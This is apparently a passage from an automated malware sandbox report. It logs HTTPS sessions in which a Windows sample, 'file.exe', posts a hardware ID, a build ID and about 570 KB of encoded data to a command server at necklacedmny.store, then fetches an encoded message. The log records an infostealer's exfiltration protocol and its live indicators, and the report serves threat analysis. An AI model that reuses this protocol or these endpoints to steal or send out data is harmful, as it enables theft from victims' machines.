4	192.168.2.4	49734	188.114.97.3	443	7304	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:03:04 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-31 02:03:04 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 38 32 38 33 31 41 34 43 34 45 46 38 38 38 44 33 35 42 30 44 30 31 34 34 45 31 35 37 46 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"982831A4C4EF888D35B0D0144E157F77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 02:03:04 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-31 02:03:04 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:03:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5vt979ib77mo177hp4mslq0r67; expires=Sun, 23-Feb-2025 19:49:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FydC50Ny68qibA80LNoj0TTZ%2BmIh4y3fsTMQmz0GWQkJjKPxbem4CZye%2BcDEXFlV9ByTUMKFg%2FAMJWoPHZiJg2kHa3mtFlK9PzTUOq%2FcmpB6N%2Bf7BuCzmk9Gl8dtp35x08Z47WE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db01108aa8b47ac-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1174&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21406&delivery_rate=2318654&cwnd=251&unsent_bytes=0&cid=e869e228bdbdfa5a&ts=667&x=0"
2024-10-31 02:03:04 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 02:03:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	188.114.97.3	443	7304	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:03:06 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1270 Host: necklacedmny.store
2024-10-31 02:03:06 UTC	1270	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 38 32 38 33 31 41 34 43 34 45 46 38 38 38 44 33 35 42 30 44 30 31 34 34 45 31 35 37 46 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"982831A4C4EF888D35B0D0144E157F77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 02:03:06 UTC	1012	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:03:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tll9rtd4ab3b5bp2l6a926sf2e; expires=Sun, 23-Feb-2025 19:49:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XAkHtvriRKw%2BRG5AlOtD9ntjdk6ANklwaovscvS60O3hMC%2B9J2i0elDqUyefRdJXmrspYxEwsejsBOF9SCT7DnGm3tGh0jj4qooiKQrjMu7UwDVSO01H88dWZv398P05WsSUrE0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db01112febe46da-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1076&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2189&delivery_rate=2747628&cwnd=249&unsent_bytes=0&cid=bd349198f4876798&ts=457&x=0"
2024-10-31 02:03:06 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 02:03:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	188.114.97.3	443	7304	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:03:07 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568690 Host: necklacedmny.store
2024-10-31 02:03:07 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 38 32 38 33 31 41 34 43 34 45 46 38 38 38 44 33 35 42 30 44 30 31 34 34 45 31 35 37 46 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"982831A4C4EF888D35B0D0144E157F77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 02:03:07 UTC	15331	OUT	Data Raw: 41 2d c5 95 d7 4a 9e 49 c5 15 0b 03 7b 2d cf 33 67 01 69 65 f4 da b7 81 f3 cd 4d 77 c5 37 2f 0e 05 5c bf b0 8b 85 47 90 b2 32 29 1b ba fb f2 2f 1e a0 91 75 2d fe 36 e1 7d 8b fd 93 ab 7d 88 1a 2b 79 f4 a4 f3 97 30 a0 7a 1f 07 27 59 4a cc aa e3 2c b6 9c 63 6a 4d 15 17 c4 f2 e9 fa fc ff db f0 88 bc 39 06 51 1c 52 a1 6e 02 10 0f 83 6d 91 a8 3e 59 12 88 82 65 fc 16 af 70 ad 6e 68 55 53 ed 79 fc 82 e5 fa b8 eb 11 cc ec 76 a7 e4 de 55 a4 69 85 21 6e 81 ee b3 d1 53 64 0d a8 ac 2e 87 6f 2e 60 a4 d6 45 2c 07 85 53 25 b5 d4 d2 dc 79 91 d1 a6 e2 4c 29 fa 24 c0 40 ab 71 25 89 d2 98 c3 be d3 df 6e 6e 78 89 d2 bc c5 4d e8 f6 6f f8 12 3d c8 31 33 d6 48 2c b5 bb 62 6d 13 7a ed 28 8a 9d da c4 19 2d cb 8f dd 72 cc c5 05 47 6d f2 6b dd b6 6f 61 ee 99 e0 22 e2 95 5d 20 3a 36 Data Ascii: A-JI{-3gieMw7/\G2)/u-6}}+y0z'YJ,cjM9QRnm>YepnhUSyvUi!nSd.o.`E,S%yL)$@q%nnxMo=13H,bmz(-rGmkoa"] :6
2024-10-31 02:03:07 UTC	15331	OUT	Data Raw: 66 2a f5 ee 17 97 2d 1f 32 2b cd 77 aa 2f ad 97 09 68 dc 59 b2 34 2b f5 1c 3d f4 40 5c 33 fd 36 c0 4f fa d6 eb b2 4b 67 ee 8a ff 3c 5e b9 7e 9d ed 60 52 f5 eb 7e 05 2d 66 2b 33 52 03 eb f2 79 c6 89 1b 04 7a db 6c 77 e3 00 69 2d 30 78 f6 9b 47 87 cd e7 2b 8c dd fe 4f 99 03 b2 57 fb e7 ec ed 2a be 9f b7 59 88 7d 55 7c 23 b9 2f 1e e8 66 de 3e 36 d4 8c aa dc eb 35 90 7b ab 6a ea 7d f9 a7 86 6c ab 8a ce a1 21 7b 6e 30 df d3 9b 0b 58 19 92 10 a0 bd 82 82 b2 1f 06 f9 81 85 d7 ff f3 63 c9 c2 e0 12 d2 b0 fc 41 b7 e7 af 5e 84 bb 19 00 ab 4c fc db ff 77 0b 81 ef 39 6e d3 0a 7e 32 82 c6 a1 2f 25 b5 48 72 85 c3 8b 47 43 08 84 b8 fd 28 12 49 87 60 25 bf aa a0 b8 39 9e e3 4c 4c e5 11 30 6b 6a 1b 58 dc 2d 6f d1 ea d8 79 74 df 17 35 c4 e7 02 bf 18 27 95 47 42 09 b5 bf 9c Data Ascii: f-2+w/hY4+=@\36OKg<^~`R~-f+3Ryzlwi-0xG+OWY}U\|#/f>65{j}l!{n0XcA^Lw9n~2/%HrGC(I`%9LL0kjX-oyt5'GB
2024-10-31 02:03:07 UTC	15331	OUT	Data Raw: a5 b7 62 41 fa fa cc 9a cd 90 10 13 fc b8 24 52 2a b6 c3 4b 80 e8 99 a8 63 e5 d2 a5 e1 a8 b7 bf 34 93 2b 0b eb 7c a7 4e 25 7f e3 fe f1 c7 87 45 6b dc 23 1b 5b c7 aa e2 6a af 95 e3 2f 7d 29 f1 d7 fa a4 ab f8 58 5f 07 2c ad af cf e8 f7 eb 33 bc bf c9 e8 4e 2e 54 da cf c5 0b da d5 a8 e8 e2 12 13 03 a7 c3 e6 0f f4 91 0d 39 4f 3f 3c 9a 49 d6 8c f8 e7 e1 af b7 2c bf 68 dd f6 98 52 2f 3f 9f bf c4 ab 18 25 bf d4 28 3f 2b a3 d2 62 03 08 fe e6 a2 62 1c 04 33 7c db 2e 33 0a f2 ba 8a e5 bf 1b b4 5d 6d d4 2c 7e 2f 84 72 db 8b 95 16 06 bb 51 11 fe 2b d6 48 24 8e 3d 72 f5 5b e4 05 58 e9 2a 67 ca e5 bb 0e 24 bd 35 4d c7 03 7f a7 c7 e8 ea ce 37 94 1b 26 d4 ac 48 7d 38 9a cf 59 ca 61 9e 65 01 22 41 f8 f3 a4 2b 4e ed 42 4c ea 54 4f 60 db cd 27 b4 ab 18 58 4d 7a ae 47 ec b4 Data Ascii: bA$RKc4+\|N%Ek#[j/})X_,3N.T9O?<I,hR/?%(?+bb3\|.3]m,~/rQ+H$=r[Xg$5M7&H}8Yae"A+NBLTO`'XMzG
2024-10-31 02:03:07 UTC	15331	OUT	Data Raw: dc 17 b7 36 99 55 59 bb ac ef e8 18 f8 37 d5 1a d4 8a 8b 25 84 a8 35 85 6f 42 ea 8b 94 86 05 d5 0e ab da 91 ab dc d7 f1 71 87 88 5e dc 22 d7 3d c3 cb 7d ab 1d 54 31 7c 4a e8 c5 35 13 1c 91 a9 9c 0d 42 6d cc 77 27 4d 31 8e 2e cc e4 04 f9 e3 89 dd a7 b7 e7 f8 fc 60 60 02 93 57 ad 31 40 1f 17 ef 89 76 17 4a 22 34 a1 c8 15 06 de fd d7 36 e5 66 7b 9e a7 4f db 8e d0 0f df 93 1c 9f d3 f5 b8 d2 87 bb 6f 4a 6d e4 a3 08 42 cf ba 60 d4 32 92 e9 80 d0 0f fe b3 1e 71 0d 24 14 42 17 4d f7 93 49 47 52 82 04 5a 5a de d7 7c 7a c1 e7 d4 30 96 9f db 50 cc cb 0a 6c 94 ba 1b c1 4c e5 26 44 3e 96 c3 b5 fd 23 ea 8e 1a 0e 22 15 43 0b 80 a8 a2 42 de 7c fc 20 d1 00 f3 df 25 db 7e 16 73 43 22 c5 f7 bd 5b 9c d5 5f 12 dd d1 f6 c1 88 fd 5d 2a 9d 3b 22 08 7e 7e 85 13 95 16 b5 2c 23 bd Data Ascii: 6UY7%5oBq^"=}T1\|J5Bmw'M1.``W1@vJ"46f{OoJmB`2q$BMIGRZZ\|z0PlL&D>#"CB\| %~sC"[_]*;"~~,#
2024-10-31 02:03:07 UTC	15331	OUT	Data Raw: ce 64 32 ba 06 90 ca 33 eb fb a5 ce 6b 6e 28 b2 33 d3 09 41 aa b7 a2 ae 37 26 69 d2 aa ae b2 5c 2e d1 55 11 cc 1a 34 3f d2 f7 5c 50 1b 0d 4e ed c1 9c 29 eb 96 8c 21 e7 1e 1d 16 f6 7e 3f e2 b5 e3 b4 6f 27 8d 9d b1 b9 c0 c8 da 18 a5 d6 b1 79 c6 0f 95 79 73 83 35 c6 37 c7 66 af d4 ab 54 e6 da 1d 39 de a8 92 dd bd 47 ae 77 f2 20 06 de 26 0c de 84 3c bd c9 07 97 cb 0f 2b a1 98 01 30 ac c2 76 64 78 04 ba 99 fb bb 85 6b 33 be ba 83 9e bd 04 05 0c e8 d1 c4 14 46 2c ea 9e 57 91 c9 7f 91 b7 9d e8 83 95 38 5d bc 87 6f 2b e5 21 df 7b c9 b3 40 7c 51 f8 7d e6 6f 29 70 27 94 3f 21 63 d9 f1 27 bb f4 cb e3 64 1b 77 e6 a6 3f e8 3b 43 9d 64 7b f3 c1 0b 26 5d 03 46 cc e3 0f c2 05 3c 89 26 53 0f 08 20 88 a2 15 65 b9 e1 d7 2a e6 a5 08 1f d9 49 5c 77 19 47 1d 53 84 61 6a 8a 19 Data Ascii: d23kn(3A7&i\.U4?\PN)!~?o'yys57fT9Gw &<+0vdxk3F,W8]o+!{@\|Q}o)p'?!c'dw?;Cd{&]F<&S e*I\wGSaj
2024-10-31 02:03:07 UTC	15331	OUT	Data Raw: a8 71 a7 3a 0a 54 f3 2e 00 f6 1f e1 ab 2f 85 c0 2c 42 b7 da 6e f2 04 db 6b d8 0c cc be 9e 31 53 d6 4f 14 4c 9a 25 80 10 3e ee 01 30 df 3f fc e0 1f 90 b2 c8 c5 6f 4a 80 ed dc 8f c6 49 40 34 13 6d 97 5b 2a 05 4e d6 62 69 49 fa 51 09 ca 73 6d e7 5f 12 76 da 7c 17 42 b9 67 eb 85 67 39 06 db 9c be f7 56 ff e1 1b d2 dd 6a db ac f1 16 d8 af be 3e bf 62 de ce c1 55 c2 9c f1 6e ee f0 e5 83 a7 8d 87 8a df 8d 5b 8e cd 85 1e d9 ae 1a 18 a2 f7 dd d3 af bd 29 2a 5e 64 eb 34 14 09 d0 45 9d af b0 df 4b 3c f8 82 c8 ed 8f ab e2 83 87 87 d3 bd b6 c6 04 ed 9f e2 c8 e8 10 00 21 a5 75 4c 9f 77 4b 01 3e 42 d4 96 e0 f9 3e c5 56 22 95 14 47 b1 fc 01 2e 6a e8 61 80 af 11 52 49 53 90 6e 6b 6b 41 a4 33 14 a5 82 cb 4e e2 dc 60 a5 a2 c8 ad fa 42 d8 8e cb db e6 97 6c 49 23 12 0f 47 f3 Data Ascii: q:T./,Bnk1SOL%>0?oJI@4m[NbiIQsm_v\|Bgg9Vj>bUn[)^d4EK<!uLwK>B>V"G.jaRISnkkA3N`BlI#G
2024-10-31 02:03:07 UTC	15331	OUT	Data Raw: 51 6a 05 28 08 c4 0d 0d 12 d5 06 05 9f 16 e5 07 e2 f3 2f 99 4e ea a0 50 1c 75 c2 88 7e 81 17 74 1d b0 fd f1 ee 0c 9e ea 8a 24 df 3d 48 e1 43 ec 11 05 8f 8f 85 d9 ab a0 57 ca 21 38 16 4a 82 18 e7 84 99 62 c0 7a 5d 8b b0 bf 46 15 1d 7e 79 c1 c9 7f dd 2e c9 69 5f 31 02 96 e1 bc c4 72 5e a5 6d 9e 48 0c 67 58 1f ee 31 66 68 8b b6 c3 24 7b fe 5a ec 7c 93 4a 5b a4 af 2e c4 3b 7f d1 ce 5c 10 40 bf 6e 13 85 12 4f 19 48 84 fd fa db 92 4d e9 62 32 3a 59 12 06 a8 73 f1 76 12 4a 04 4d 02 f5 3e b0 94 87 71 c0 7f 55 11 72 12 1b b8 75 d3 d9 fc 8d 79 e4 29 23 ff 2d 15 c0 0f 2c 66 73 5d 2c 5d 6a 2e 2f 21 17 f4 47 e9 97 4f d6 74 ad 64 0b d6 cc e7 b5 ac e5 ca 6f 52 12 1b 60 97 a3 da 18 78 72 d5 65 a7 d4 41 4a 13 82 a1 24 b4 4e 55 00 59 f5 37 84 d7 76 61 3b d7 0b b8 29 23 ea Data Ascii: Qj(/NPu~t$=HCW!8Jbz]F~y.i_1r^mHgX1fh${Z\|J[.;\@nOHMb2:YsvJM>qUruy)#-,fs],]j./!GOtdoR`xreAJ$NUY7va;)#
2024-10-31 02:03:07 UTC	15331	OUT	Data Raw: 61 e7 af 27 19 95 af 64 2d 2f 84 eb 27 74 bf 42 27 e3 db 71 ed 42 41 b6 d8 f0 aa 8e ed b6 a3 7b 14 b3 d2 5a d7 f9 04 49 65 ae 05 65 66 f2 61 e5 42 53 91 b7 b5 b3 c5 44 8e 3c ba 25 f5 c7 83 81 00 cb 96 9e 9b 4a 09 47 34 59 aa fd ca 78 6b 60 2e 2c 13 2f b7 4c 55 1a 74 1f 87 7c d2 da 13 28 c4 fc 8d b9 9a 67 42 b2 4b 3f dc 3d 39 51 d4 38 11 7c 6d d5 21 60 3e 61 b6 20 63 36 5d 94 6f 94 b6 d2 f8 5c 97 6d 2b 57 ab 49 36 34 0d e5 05 7f 78 2e 19 61 29 84 1d 65 28 18 b7 70 e6 9b 83 ff b4 f0 f4 d5 58 1b 97 9a 60 75 79 1a 2a 2a 98 26 4d 96 ab 40 16 5e 50 2b 6d de b6 f2 dc 3d 94 ce 03 f6 c8 10 fe a7 f5 f1 e4 2e 42 85 06 c8 db 7f 2a b7 dc cd 2a 9a 6b 3b 1d 01 b3 b4 18 99 60 74 90 27 b5 f3 71 f8 1b df 83 1a 54 77 23 88 ff c0 32 47 2b f4 5b 09 91 44 a5 7c 0e f2 a2 fe d9 Data Ascii: a'd-/'tB'qBA{ZIeefaBSD<%JG4Yxk`.,/LUt\|(gBK?=9Q8\|m!`>a c6]o\m+WI64x.a)e(pX`uy&M@^P+m=.Bk;`t'qTw#2G+[D\|
2024-10-31 02:03:07 UTC	15331	OUT	Data Raw: 07 22 3a 14 8e 8c bc be 79 de 46 e7 17 55 b0 ce d0 77 e6 34 d2 9f 97 05 30 a2 4b 7f cd ad 89 3d 5d 47 e2 dc 0a 5c d4 27 97 71 47 b4 33 e0 64 7b 4b d2 e5 23 9f 6e a6 45 3c 6a b8 c3 b5 f9 1f c5 3c ee 1c d3 19 21 ed 80 65 54 32 89 70 b2 e3 58 2a 11 3f 6f 7c 5f 30 cf 3b 31 7a d7 21 b1 66 89 77 70 b2 14 09 bd 58 72 06 e4 9e 22 a1 22 78 11 5a 8e f6 68 4e 5d 30 92 7d cd 20 85 88 2f a4 9d 33 fe 1a 05 a7 e7 dd d4 1d a8 b0 e3 88 fb d7 e2 d4 2c 87 39 d5 b4 e0 f7 2b 7d 23 1b a3 76 ad 86 cb 66 ad 05 db 3b 26 d2 47 06 2a c4 39 2a 64 a3 72 16 7c e5 a5 97 80 3f 71 be 60 8b cf 7f 76 88 a3 f3 71 41 5f 01 64 72 a8 cb 45 ac f4 1e d5 f9 ea fb ca 83 af ef 4b 0d f6 ff 2c 42 c6 fe 7c a2 6a 37 d8 5d 60 17 f9 f1 7a df ec 70 90 f7 7d 3b da d6 b1 b2 d1 52 a7 72 5f 35 76 e4 c0 c6 f6 Data Ascii: ":yFUw40K=]G\'qG3d{K#nE<j<!eT2pX?o\|_0;1z!fwpXr""xZhN]0} /3,9+}#vf;&G9*dr\|?q`vqA_drEK,B\|j7]`zp};Rr_5v
2024-10-31 02:03:25 UTC	1024	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:03:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c747p0oapjrimtekcbgnta8ovu; expires=Sun, 23-Feb-2025 19:49:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J%2B85jFK%2Fx%2Fp9X3kCbe7zr1UsyHmqNXdF7boykKVZv6d94JgtWPmPb3FPXrARDN6GgQ1kMjhyyZPuTg0v4D6MuEvpqB4eixz5A3ZKTiCjt1htDwD7xCKFW3ikjwxFbxtI0JH%2B2dk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0111c7992477a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1884&sent=213&recv=601&lost=0&retrans=0&sent_bytes=2846&recv_bytes=571239&delivery_rate=1529039&cwnd=226&unsent_bytes=0&cid=87b976b09ea417aa&ts=17612&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	188.114.97.3	443	7304	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:03:25 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 02:03:25 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 39 38 32 38 33 31 41 34 43 34 45 46 38 38 38 44 33 35 42 30 44 30 31 34 34 45 31 35 37 46 37 37 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=982831A4C4EF888D35B0D0144E157F77
2024-10-31 02:03:26 UTC	1025	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:03:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e63ig04g249pf1fvbti7nicd62; expires=Sun, 23-Feb-2025 19:50:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YzVEbIQA8u8LnaKoSObEd69sG8bdNfgd9dtw2l%2Byxm9Bz3M%2BdwSst4pk%2B7kmNRhCzTjzY%2ByfL%2F9Y%2B77fSVtglS9VbSKbdggI%2B7v%2FPY8NaA8S7gxGqQeqpVe%2B7ZNLhsOB7bfjMWg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0118e7ac34612-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1405&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=989&delivery_rate=2258970&cwnd=238&unsent_bytes=0&cid=6ef1e6307d71efe8&ts=343&x=0"
2024-10-31 02:03:26 UTC	214	IN	Data Raw: 64 30 0d 0a 41 76 59 68 4e 39 30 70 43 31 34 41 47 66 47 71 54 61 79 6f 39 6c 75 32 6a 79 49 6e 5a 31 75 4d 6a 71 36 5a 41 38 6d 52 57 79 46 5a 6a 51 4e 43 2f 78 4d 70 4e 6e 52 74 67 5a 41 52 67 2f 54 5a 61 6f 36 36 44 42 56 57 62 71 4b 2f 6e 36 6f 74 2b 4b 63 48 44 6d 32 51 52 32 76 79 54 57 34 34 4c 6e 79 4a 7a 32 2b 41 69 70 41 76 6c 4c 55 53 43 30 55 2b 72 72 53 65 35 43 2b 79 73 79 34 44 4f 4e 52 4a 51 36 6c 5a 4d 51 49 76 52 64 36 62 64 5a 6d 47 78 47 71 44 6f 52 4d 57 56 48 57 39 75 50 4b 32 62 71 44 2f 50 6e 30 74 68 45 42 5a 75 55 5a 6d 63 47 56 68 6c 49 68 68 6a 73 36 43 65 59 79 2f 44 67 55 43 65 62 61 2b 30 38 51 3d 0d 0a Data Ascii: d0AvYhN90pC14AGfGqTayo9lu2jyInZ1uMjq6ZA8mRWyFZjQNC/xMpNnRtgZARg/TZao66DBVWbqK/n6ot+KcHDm2QR2vyTW44LnyJz2+AipAvlLUSC0U+rrSe5C+ysy4DONRJQ6lZMQIvRd6bdZmGxGqDoRMWVHW9uPK2bqD/Pn0thEBZuUZmcGVhlIhhjs6CeYy/DgUCeba+08Q=
2024-10-31 02:03:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	63882	188.114.96.3	443	6984	C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe

Timestamp	Bytes transferred	Direction	Data
